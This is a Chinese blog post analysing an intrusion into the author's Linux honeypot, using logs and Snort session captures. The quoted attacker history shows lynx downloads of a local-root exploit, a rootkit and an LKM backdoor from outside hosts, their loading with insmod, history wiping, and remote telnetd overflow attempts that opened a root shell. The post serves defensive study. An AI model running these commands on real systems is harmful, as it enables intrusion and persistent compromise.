一次入侵秀的详细分析

iiprogram iiprogram 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 2k累计阅读 2.1k平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄25年
关注
转载 最新推荐文章于 2026-05-12 09:23:37 发布 2k 阅读 AI 写同款· GEO 优化 ›
Exadata 的诊断工具之 sundiag.sh 每个Exadata的数据库服务器和存储服务器节点都安装了sundiag.sh脚本（MOS:761868.1） 我们执行下： [root@erpdb01 oracle.SupportTools]# sh sundiag.sh Oracle Exadata Database Machine - Diagnostics Collection Tool Gathering Linux inform 阅读详情
起因

　　本文聚焦于我的Linux Honeypot，她在网络中散发着阵阵蜜香，引诱蠕虫和各路客们的光临。为了让honeypot 更加attractive，都要采取一些处理方式。最近邮件列表中还有过这种讨论，有个家伙说他朋友在某黑客IRC 中公布了honeypot 的IP 地址，结果一帮罗马利亚黑客入侵后发现是一个蜜罐系统，所有动作都被完整记录，于是愤怒了，采用分布式拒绝服务方式疯狂报复，导致临近网络瘫痪一个月之久。

　　所以，在引诱入侵者的时候要讲究技巧。上个月我曾和一个朋友聊起我的方法：

　　建立一个普通用户账号，密码同用户名，在控制台上用该账号登录，让他一直发呆，同时确认系统开放着finger 服务。比较怀旧的入侵者对finger还是情有独钟的，企图finger出一大堆用户名，然后简单猜测密码进入系统，期望能够与后生可畏的Script Kids 们划清界限。

　　没想到我的朋友记忆力特别好，事隔一个月，在我没发请柬的情况下，轻车熟路的找到honeypot，然后用那个普通账号登录了进去。

　　明明知道这是个蜜罐系统，所有行为都被监控和记录，还要企图本地拿root、安装后门、作为肉鸡攻击其他机器，不就是在舞台上表演请观众们欣赏么?这就是入侵秀一词的由来。

　　下面就让我们一起来观摩这场表演，素材主要来源于日志服务器收集到的系统日志、历史命令，以及Snort 录下的会话过程。当然，为了节约篇幅和保护隐私作了部分裁减。希望读者从各自的角度都能有所收获。

　　2.扫描

　　一个周六的下午，Snort 报警提示有来自202.X.X.X 的SuperScan 扫描，发送了一个ICMP Echo 的数据包测试系统是否存活：

　　2004-9-21 16:48 snort[1852]: [1:474:1] ICMP superscan echo [Classification: Attempted Information Leak] [Priority: 2]: {ICMP} 202.X.X.X -> 10.0.0.1同时，系统日志记录了后续进行的端口探测活动：

　　Sinbad Technical Publications Page 2

　　2004-9-21 16:48 in.rlogind[1316]: connect from 210.X.X.X

　　2004-9-21 16:48 inetd[413]: pid 1318: exit status 1

　　2004-9-21 16:48 in.rshd[1318]: connect from 210.X.X.X

　　2004-9-21 16:48 in.fingerd[1315]: connect from 210.X.X.X

　　2004-9-21 16:48 in.telnetd[1313]: connect from 210.X.X.X

　　2004-9-21 16:48 rshd[1318]: Connection from 210.X.X.X on illegal port

　　2004-9-21 16:48 telnetd[1313]: ttloop: peer died: EOF

　　2004-9-21 16:48 inetd[413]: pid 1316: exit status 1

　　2004-9-21 16:48 inetd[413]: pid 1313: exit status 1

　　2004-9-21 16:48 sendmail[1314]: NOQUEUE: Null connection from [210.X.X.X]

　　2004-9-21 16:48 in.fingerd[1319]: connect from 210.X.X.X

　　2004-9-21 16:48 in.telnetd[1320]: connect from 210.X.X.X

　　注意到没有，这些端口连接的源地址不是发送ICMP Echo 的202.X.X.X，而是210.X.X.X这个地址。很显然，我的朋友使用了TCP/UDP协议的代理跳板，而ICMP 协议不被该跳板支持，所以他的真实IP 地址也暴露了。

　　3.本地越权尝试

　　用我的诱饵账号tom轻松登入，一次成功，就像进自己家一样：

　　2004-9-21 16:52 login: LOGIN ON 1 BY tom FROM 210.X.X.X

　　2004-9-21 16:52 PAM_pwdb[1321]: (login) session opened for user tom by(uid=0)

　　用cat 重定向加粘贴方式传送一段本地越权脚本到系统内，请注意时间差，他的翻箱倒柜花了4 分钟：

　　2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 w

　　2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 pwd

　　2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 cd ..

　　2004-9-21 16:52 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cd tom

　　2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 cat > 1.sh

　　2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 chmod 755 1.sh

　　2004-9-21 16:56 -bash: HISTORY: PID=1322 UID=500 ./1.sh

　　2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 ls

　　Sinbad Technical Publications Page 3

　　输入./1.sh 执行后的结果呢?我们通过检查Snort 的SESSION录像后发现，系统由于缺少相关库文件，没成功。注意：录像中命令输入的每个字符都出现了两遍，这是终端的回显功能，Snort是忠实的作了双向记录：

　　[tom@abc tom]$ ..//11..sshh

　　+-----------------------------------------------------------+

　　| Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1 |

　　| local root exploit |

　　| |

　　| Bugs found and exploit wr#tten by Wojciech Purczynski |

　　| wp@elzabsoft.pl cliph/ircnet Vooyec/dalnet |

　　+-----------------------------------------------------------+

　　Creating temporary directory

　　Creating anti-noexec library (capdrop.c)

　　Compiling anti-noexec library (capdrop.so)

　　Creating suid shell (sush.c)

　　Compiling suid shell (sush.c)

　　Creating shell script

　　Creating own sm.cf

　　Dropping CAP_SETUID and calling sendmail

　　/bin/true: error in loading shared libraries: /tmp/foo/capdrop.so: cannot open shared object file:

　　No such file or directory

　　Waiting for suid shell (/tmp/sush)

　　[tom@abc tom]$ llss

　　第一次尝试失败，删除1.sh，同时留下“XXXX到此一游”的签名。也好，知道是你干的了

　　2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 rm -rf 1.sh

　　2004-9-21 16:58 -bash: HISTORY: PID=1322 UID=500 echo haha shi wo XXXX > haha.txt

　　我的朋友开始闲逛了，好像没什么收获：

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd /tmp

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd foo

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls

　　Sinbad Technical Publications Page 4

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd ..

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls -al

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd .font-unix

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 16:59 -bash: HISTORY: PID=1322 UID=500 cd fs-1

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls -al

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd /

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd home

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd ftp

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 cd /

　　2004-9-21 17:00 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:01 -bash: HISTORY: PID=1322 UID=500 ps -ef

4.第二次本地越权尝试

　　重新换了个本地越权程序，编译后又立即把它删除了?

　　2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cd ~tom

　　2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 cat > su.c

　　2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c

　　2004-9-21 17:05 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 rm -rf su.c

　　原来是编译的时候出错了。源代码中有些字符在用cat 重定向粘贴的时候出了

　　问题：

　　[tom@abc tom]$ ggcccc - -oo ssuu susu..cc

　　su.c:101: unterminated character constant

　　Sinbad Technical Publications Page 5

　　换种方式，vi 一个新文件，往里面贴：

　　2004-9-21 17:06 -bash: HISTORY: PID=1322 UID=500 vi su.c

　　2004-9-21 17:07 -bash: HISTORY: PID=1322 UID=500 gcc -o su su.c

　　这次的效果更加不好，出现了三个错误。同时我们也注意到，记录下来的的输入命令部分有大量的 [A、[D 字符，这其实是在用上下键寻找刚才敲过的历史命令“gcc –o su su.c”，看来他是够懒的

　　[tom@abc tom]$ [Avi su.c[A[D[D[D[D[D[D[D[4@rm -rf su.c[A[D[D[D[D[D[D[D[D[D[D[Dls[K[A[D[Dgcc -o su su.c

　　su.c:107: unterminated character constant

　　su.c:523: unterminated string or character constant

　　su.c:130: possible real start of unterminated constant

　　又留下一句话“以后有空再搞”，走了。周末下午的5 点多，应该有活动吧：

　　2004-9-21 17:09 -bash: HISTORY: PID=1322 UID=500 ls

　　2004-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 rm -rf *.c

　　2004-9-21 17:10 -bash: HISTORY: PID=1322 UID=500 echo kao,yihou you kong zai gao >> haha.txt

　　2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 w

　　2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 ls -al

　　2004-9-21 17:11 -bash: HISTORY: PID=1322 UID=500 cat .bash_history

　　2004-9-21 17:13 -bash: HISTORY: PID=1322 UID=500 cat /etc/passwd

　　2004-9-21 17:16 -bash: HISTORY: PID=1322 UID=500 exit

　　5.第三次本地越权尝试

　　两天后，我的朋友又来了。是一个周一的下午，上班时间，看来他的工作不是很忙。这就是“搞机器”一族的共同特点：拥有大量的时间和精力。

　　2004-9-23 13:28 in.telnetd[5567]: connect from 210.X.X.X

　　2004-9-23 13:28 PAM_pwdb[5568]: (login) session opened for user tom by(uid=0)

　　2004-9-23 13:28 login: LOGIN ON 1 BY tom FROM 210.X.X.X

　　Sinbad Technical Publications Page 6

　　这次他吸取了教训，试图用wget 直接从网上下载，不过我的系统好像没有装wget，或者PATH 值不对，最后他改用lynx 加-dump 参数成功的从国内一个hack.co.za 的镜像站点下载了利用/bin/su 的越权程序su.c，编译后执行，终于获得了本地root权限：

　　2004-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 w

　　2004-9-23 13:29 -bash: HISTORY: PID=5569 UID=500 ps -ef

　　2004-9-23 13:32 -bash:HISTORY: PID=5569 UID=500 wget _hack_co_za/redhat/5.1/su.c">http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c

　　2004-9-23 13:34 -bash: HISTORY: PID=5569 UID=500 lynx

　　2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 lynx -dump _hack_co_za/redhat/5.1/su.c">http://www.safechina.net/www_hack_co_za/redhat/5.1/su.c > su.c

　　2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 gcc -o su su.c

　　2004-9-23 13:35 -bash: HISTORY: PID=5569 UID=500 ./su

　　su exploit by XP

　　Enjoy!

　　Phase 1. Checking paths and write permisions

　　Checking for /usr/bin/msgfmt...Ok

　　Checking for /usr/bin/objdump...Ok

　　Checking write permisions on /tmp...Ok

　　Checking read permisions on /bin/su...Ok

　　Checking for a valid language... [using af_ZA] Ok

　　Checking that /tmp/LC_MESSAGES does not exist...Ok

　　Phase 2. Calculating eat and pad values

　　......................................................................done

　　eat = 120 and pad = 2

　　Phase 3. Creating evil libc.mo and setting enviroment

　　vars

　　Phase 4. Getting address of .dtors section of /bin/su

　　..........................................done

　　.dtors is at 0x0804bd3c

　　Phase 5. Compiling suid shell

　　/tmp/xp created Ok

　　Phase 6. Executing /bin/su

　　- Entering rootshell ;-) -

　　sh-2.03# iid

　　Snort也报警提示他获得了root权限：

　　2004-9-23 13:37 snort[1852]: [1:498:3] ATTACK RESPONSES id check returned root [Classification:

　　Potentially Bad Traffic] [Priority: 2]: {TCP} 10.0.0.1:23 -> 210.x.x.x:4560

　　Sinbad Technical Publications Page 7

　　6.安装后门

　　成功取得最高权限后，我的朋友开始下载adore rootkit和一个叫做sunxkdoor的后门程序：

　　2004-9-23 13:39 sh: HISTORY: PID=7046 UID=0 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz > 1.tgz

　　2004-9-23 13:47 sh: HISTORY: PID=7046 UID=0 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 1.tar

　　不过这次又失败了，重定向的文件都是0 字节。因为在越权获得的这个shell中，lynx并不能正常的工作：

　　sh-2.03# lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz >> 1.tgz

　　Your terminal lacks the ability to clear the screen or position the cursor.

　　sh-2.03# llyynnxx --dduummpp http:h//www.sunx.org/mysoft/sunxkdoor.tarttp://www.sunx.org/mysoft/sunxkdoor.tar >> 11..ttarar

　　Your terminal lacks the ability to clear the screen or position the cursor.

　　sh-2.03# lls s-a l

　　-al

　　total 4

　　drwxr-xr-x 2 tom tom 1024 Sep 22 21:43 .

　　drwxrwxrwt 5 root root 1024 Sep 22 21:35 ..

　　-rw-rw-r-- 1 root root 0 Sep 22 21:43 1.tar

　　-rw-rw-r-- 1 root root 0 Sep 22 21:37 1.tgz

　　-rw-rw-r-- 1 root root 0 Sep 22 21:37 adore.tgz

　　-rwxrwxrwx 1 tom tom 458 Sep 22 21:35 libc.mo

　　-rw-rw-r-- 1 tom tom 428 Sep 22 21:35 libc.po

　　sh-2.03# rrm m --rrff **

　　多次失败之后，他退出了rootshell 返回到正常的终端下，成功的用lynx 分别下载了一个攻击telnet 守护进程的telnetd.c 保存为1.c、adore rootkit 保存为

　　1.tgz、sunxkdoor 后门保存为2.tar：

　　sh-2.03# eexxiitt

　　exit

　　Sinbad Technical Publications Page 8

　　Phase 7. Cleaning enviroment

　　rm: cannot unlink `/tmp/xp': Operation not permitted

　　2004-9-23 14:03 -bash: HISTORY: PID=5569 UID=500 lynx -dump linux-secure.net/pliki/exploits/telnetd/telnetd.c">http://www.linux-secure.net/pliki/exploits/telnetd/telnetd.c> 1.c

　　2004-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://stealth.7350.org/rootkits/adore-0.52.tgz> 1.tgz

　　2004-9-23 14:04 -bash: HISTORY: PID=5569 UID=500 ls -al

　　2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 tar zxfv 1.tgz

　　2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 cd adore

　　2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ls

　　2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 ./configure

　　2004-9-23 14:05 -bash: HISTORY: PID=5569 UID=500 make

　　2004-9-23 14:06 -bash: HISTORY: PID=5569 UID=500 ls

　　2004-9-23 14:07 -bash: HISTORY: PID=5569 UID=500 cd ..

　　2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 lynx -dump http://www.sunx.org/mysoft/sunxkdoor.tar > 2.tar

　　2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ls -al

　　2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 export HISTFILE=/dev/null

　　下面开始安装sunxkdoor 这个LKM 的后门，这需要root权限，他再次运行su的越权程序获得rootshell，然后用insmod加载sunxkdoor，便退出了系统利用这个后门绕开登录过程进来了。

　　此后门应该是截获了原有/bin/login 的调用，先是telnet 到系统，在login:提示符后输入sunxkdoor 这个关键串，系统自动断开连接;接着再telnet，就直接获得root的#号提示符。

　　注意，他把下载的三个后门程序都移到tom主目录下新建的TOM目录中了。

　　2004-9-23 14:08 -bash: HISTORY: PID=5569 UID=500 ./su

　　2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 pwd

　　2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 cd ~tom

　　2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 tar xfv 2.tar

　　2004-9-23 14:10 sh: HISTORY: PID=8570 UID=0 export HISTFILE=/dev/null

　　2004-9-23 14:12 sh: HISTORY: PID=8570 UID=0 cd sunxkdoor

　　2004-9-23 14:12 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:13 sh: HISTORY: PID=8570 UID=0 gcc -O2 -c sunxknlsh_linux_II.c

　　2004-9-23 14:13 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 mv sunxknlsh_linux_II.o ../sun.o

　　2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 cd ..

　　2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 w

　　2004-9-23 14:14 sh: HISTORY: PID=8570 UID=0 rm -rf sunxkdoor

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls

　　Sinbad Technical Publications Page 9

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mkdir TOM

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 mv * TOM

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 cd TOM

　　2004-9-23 14:15 sh: HISTORY: PID=8570 UID=0 ls

　　2004-9-23 14:16 sh: HISTORY: PID=8570 UID=0 insmod

　　2004-9-23 14:16 sh: HISTORY: PID=8570 UID=0 whereis insmod

　　2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/insmod sun.o

　　2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 /sbin/lsmod

　　2004-9-23 14:17 sh: HISTORY: PID=8570 UID=0 exit

　　2004-9-23 14:17 -bash: HISTORY: PID=5569 UID=500 exit

　　2004-9-23 14:17 PAM_pwdb[5568]: (login) session closed for user tom

　　#'!

　　Red Hat Linux release 6.2 (Zoot)

　　Kernel 2.2.14-5.0 on an i686

　　login: ssuunnxkxkddooroor

　　#'!

　　Red Hat Linux release 6.2 (Zoot)

　　Kernel 2.2.14-5.0 on an i686

　　[root@abc /]# ccd d ~~ttomom

　　[root@abc tom]# llss

下面开始安装adore，编译的时候缺少一个头文件，我的朋友还是能够从Linux源代码的目录中找到并拷贝到adore目录中，把adore 编译出来了。启动adore后，利用工具ava隐藏TOM 目录时，尽管提示hidden，但ls的时候还是能看到。我的朋友很郁闷，可能是adore 和sunxkdoor这两个LKM 之间有冲突。

　　2004-9-23 14:23 login: HISTORY: PID=8620 UID=0 cd TOM

　　2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 tar zxfv 1.tgz

　　2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 cd adore

　　2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 ls

　　2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 ./configure

　　2004-9-23 14:23 login: HISTORY: PID=8260 UID=0 make

　　2004-9-23 14:23 login: HISTORY: PID=8620 UID=0 find / -name spinlock.h

　　2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 cp /usr/src/linux-2.2.14/include/asm-i386/spinlock.h .

　　2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 make

　　2004-9-23 14:24 login: HISTORY: PID=8620 UID=0 ls

　　2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv *.o ../

　　2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 ls

　　Sinbad Technical Publications Page 10

　　2004-9-23 14:25 login: HISTORY: PID=8620 UID=0 mv ava ../

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 mv startadore ../

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 cd ..

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 ls

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 rm -rf adore

　　2004-9-23 14:26 login: HISTORY: PID=8620 UID=0 vi startadore

　　2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 ls

　　2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 insmod

　　2004-9-23 14:29 login: HISTORY: PID=8620 UID=0 ./startadore

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 mv startadore start

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ..TOM

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ./ava h ../TOM

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 cd ..

　　2004-9-23 14:30 login: HISTORY: PID=8620 UID=0 ls

　　7.作为跳板攻击他人

　　用adore 没有成功的隐藏目录，我的朋友突然想起来自己曾经下载过一个telnetd 的远程溢出脚本，于是编译保存为1，就开始了试验，先是攻击本机，后来又改攻公网上的其他机器。理论上讲，honeypot应该限制往外发起的连接，比如同一时间内的连接数，以防止被人安装了分布式拒绝服务程序，用来攻击其他机器，引起不必要的麻烦。我的honeypot并没有做这方面的限制，因为我每天都花时间来观看她里面发生的故事，做到了如指掌

　　2004-9-23 14:50 login: HISTORY: PID=8699 UID=0 ./1 -h 127.0.0.1

　　2004-9-23 14:50 in.telnetd[8774]: connect from 127.0.0.1

　　2004-9-23 14:50 telnetd[8774]: ttloop: peer died: EOF

　　2004-9-23 14:56 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230 -t 5

　　2004-9-23 14:58 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.230

　　2004-9-23 14:59 inetd[8783]: 2222/tcp: bind: Address already in use

　　2004-9-23 14:59 inetd[8783]: extra conf for service 2222/tcp (skipped)

　　2004-9-23 15:10 inetd[8783]: 2222/tcp: bind: Address already in use

　　2004-9-23 15:10 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.96 -t 5

　　2004-9-23 15:10 inetd[8793]: 2222/tcp: bind: Address already in use

　　2004-9-23 15:10 inetd[8793]: extra conf for service 2222/tcp (skipped)

　　2004-9-23 15:11 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.106 -t 5

　　2004-9-23 15:11 inetd[8793]: extra conf for service 2222/tcp (skipped)

　　2004-9-23 15:12 inetd[8796]: extra conf for service 2222/tcp (skipped)

　　Sinbad Technical Publications Page 11

　　2004-9-23 15:12 inetd[8796]: 2222/tcp: bind: Address already in use

　　2004-9-23 15:14 last message repeated 2 times

　　2004-9-23 15:14 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.186 -t 3

　　2004-9-23 15:15 inetd[8799]: 2222/tcp: bind: Address already in use

　　2004-9-23 15:15 inetd[8799]: extra conf for service 2222/tcp (skipped)

　　2004-9-23 15:15 snort[1852]: [1:648:5] SHELLCODE x86 NOOP [Classification: Executable

　　code was detected] [Priority: 1]: {TCP} 211.xxx.xxx.186:23 -> 10.0.0.1:1053

　　2004-9-23 15:17 last message repeated 3 times

　　2004-9-23 15:17 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.25 -t 4

　　2004-9-23 15:17 inetd[8804]: extra conf for service 2222/tcp (skipped)

　　2004-9-23 15:17 inetd[8804]: 2222/tcp: bind: Address already in use

　　2004-9-23 15:18 last message repeated 4 times

　　2004-9-23 15:18 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5

　　2004-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.16 -t 5

　　2004-9-23 15:19 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.15 -t 5

　　2004-9-23 15:20 login: HISTORY: PID=8699 UID=0 ./1 -h 211.xxx.xxx.226 -t 4

　　在这里我没有太多关注这个溢出脚本的执行结果，只是注意到系统产生了大量的同一条日志，都发生在./1 命令执行之后：

　　2004-9-23 15:20 inetd[8810]: 2222/tcp: bind: Address already in use

　　经过检查，原来是在tcp/2222 端口打开了一个root 权限的shell!看来这个溢出程序的功能蛮多的，还给自己的机器绑定shell接着，我登录MSN 联系到那位朋友，他说打算结束表演了，于是我开始kill掉这该死的telnetd 溢出程序，修复伤痕累累的honeypot 让她重新上线。同时

　　备份入侵日志文件，抓住他的把柄以备将来敲诈。:)

　　8.总结

　　本文介绍了引诱入侵者的一种方法，以及对一个朋友的不请自到所作操作的详细分析。包括借助跳板隐藏真实IP、三次尝试本地越权最后成功、安装了两个LKM 类的后门、以及作为跳板攻击他人机器。这是一个典型的入侵工作者的作业流程，我们通过分析这些行为的细节，可以学习认识到更多的后门程序、溢出脚本、故障排除方法，甚至个人习惯等一些有趣的东西。
收录于
*IX和BSD系統

当前文章被收录于：

*IX和BSD系統
98 篇文章 1 人学习
订阅专栏 查看详情
标签
#login #classification #character #service #shell
#linux
入侵检测系统原理和实现 1. 入侵检测系统简介 1.1 入侵检测分类 按信息源分类 根据信息源的不同，入侵检测技术分为基于主机型和基于网络型两大类。 1）基于主机的入侵检测技术 基于主机的入侵检测技术可监测系统、事件和WindowsNT下的安全记录，以及Unix环境下的系统记录。当有文件被修改时，入侵检测系统将采用新的记录条目与已知的攻击特征进行比对的技术，如果匹配，就会向系统管理员报警或者作出适当的响应。 2）基于网络... 阅读详情

相关推荐

一次服务器被入侵的处理过程分享

在 Linux 操作系统的动态链接库加载过程中，动态链接器会读取 LD_PRELOAD 环境变量的值和默认配置文件 /etc/ld.so.preload 的文件内容，并将读取到的动态链接库进行预加载，即使程序不依赖这些动态链接库，LD_PRELOAD 环境变量和 /etc/ld.so.preload 配置文件中指定的动态链接库依然会被装载，它们的优先级比 LD_LIBRARY_PATH 环境变量所定义的链接库查找路径的文件优先级要高，所以能够提前于用户调用的动态库载入。，我在生活和现实面前低头了。...

「 虚幻私塾」 673

Linux作为哑终端连接服务器,linux – TERM =哑终端必须具备的功能

我希望在golang中实现一个远程客户端,它通过nc连接到Linux并启动bash.所以我需要告诉bash我可以从它发送给我的stdout中解析哪些功能,以及我将如何将密钥代码和其他内容发送到它的stdin,以便它也可以解析它们.这是通过TERM = something环境变量来完成的,我需要将其设置为某个值.如果我没有设置它,那么各种程序开始抱怨：$mcThe TERM environment ...

weixin_42504327的博客 571

从帧结构到数据解析：深入理解CJ/T 188 MBUS水表通信协议

本文深入解析CJ/T 188 MBUS水表通信协议，从帧结构到数据解析提供完整指南。通过典型报文示例和实战案例，详细讲解地址域、控制码、数据标识符(DI)等关键字段的解析技巧，并分享校验算法与常见错误排查方法，帮助开发者快速掌握MBUS协议在水表通信中的应用。

weixin_28710999的博客 424

Suricata 规则classtype和规则文件分类说明

文件名为:classification.config config classification: not-suspicious,Not Suspicious Traffic,3 #不可疑的流量？ config classification: unknown,Unknown Traffic,3 #未知流量 config classification: bad-unknown,Potentially...

u011311291的博客 5953

DC/DC开关电源EMC仿真红宝书

本红宝书系统性介绍开关电源EMC仿真方法，包括仿真原理、仿真思路、仿真工具以及仿真效率提升与仿测一致性的实战经验。从理论到仿真，从仿真到应用，真正帮你实现一文掌握开关电源EMC仿真！全文约14000字，适读人群：开关电源设计、电磁兼容EMC相关从业者，电磁相关专业研究生及CST仿真爱好者等。

电磁学社 2502

Light Tools 8.4 在 win10系统上的安装方法（64位）

** 总的来说安装LT需要以下步骤（折腾了三天终于装好）： 安装LT软件–禁用签名–加载含数字签名的第三方inf–添加注册表/安装驱动/添加密钥–成功破解 一、下载对应的LightTools 8.4版本软件，如下图为解压后的文件： 并选择 进行默认安装。 二、禁用数字签名。这里我用了两种方法，一种不行就换另一种，最终成功禁用。 方法1： 1、输入“cmd”并以管理员身份运行； 2、输入或复制 bcdedit.exe /set nointegritychecks on （此命令若没成功，再试bcded

weixin_45560953的博客 1万+

Linux问题：last message repeated N times

作者：老王偶然发现系统日志/var/log/messages里出现大量错误信息：Jun 8 13:20:49 SERVER snmpd[14281]: Connection from UDP: [192.168.0.178]:9632Jun 8 13:25:07 SERVER last message repeated 7 timesJun 8 13:30:49 SERVER last messa

phphot 8517

BurpSuite实战：5分钟搞定DVWA的CSRF漏洞测试（附详细截图）

本文详细介绍了如何使用BurpSuite在DVWA靶场中进行CSRF漏洞测试，包括环境配置、攻击原理剖析、分步攻击演示及企业级防御方案。通过实战案例，帮助读者深入理解CSRF漏洞的危害与防护措施，提升Web应用安全防护能力。

weixin_30879169的博客 495

记一次服务器被入侵排查

安全问题往往被大家忽视，但它轻则导致公司用户数据泄露引发严重的舆论危机，重则导致数据被破坏导致公司破产，所以安全问题一定要重视，不过这类问题一旦出现，由于大家经验比较少，往往很难入手，今天就给大家带来一篇服务器被入侵的排查思路，相信大家看了肯定有收获！下文中的，给文件和目录加锁，是指给文件和目录增加了一些属性，只读等。chattr +ia。

gg10748的博客 1878

WKWebView 白屏问题,WKWebView request body丢失问题

1，WKWebView 白屏问题 WKWebView 自诩拥有更快的加载速度，更低的内存占用，但实际上 WKWebView 是一个多进程组件，Network Loading 以及 UI Rendering 在其它进程中执行。初次适配 WKWebView 的时候，我们也惊讶于打开 WKWebView 后，App 进程内存消耗反而大幅下降，但是仔细观察会发现，Other Process 的内存占用会...

weixin_37543822的博客 738

Xilnx大学计划/XUP ZYNQ ZU开发板

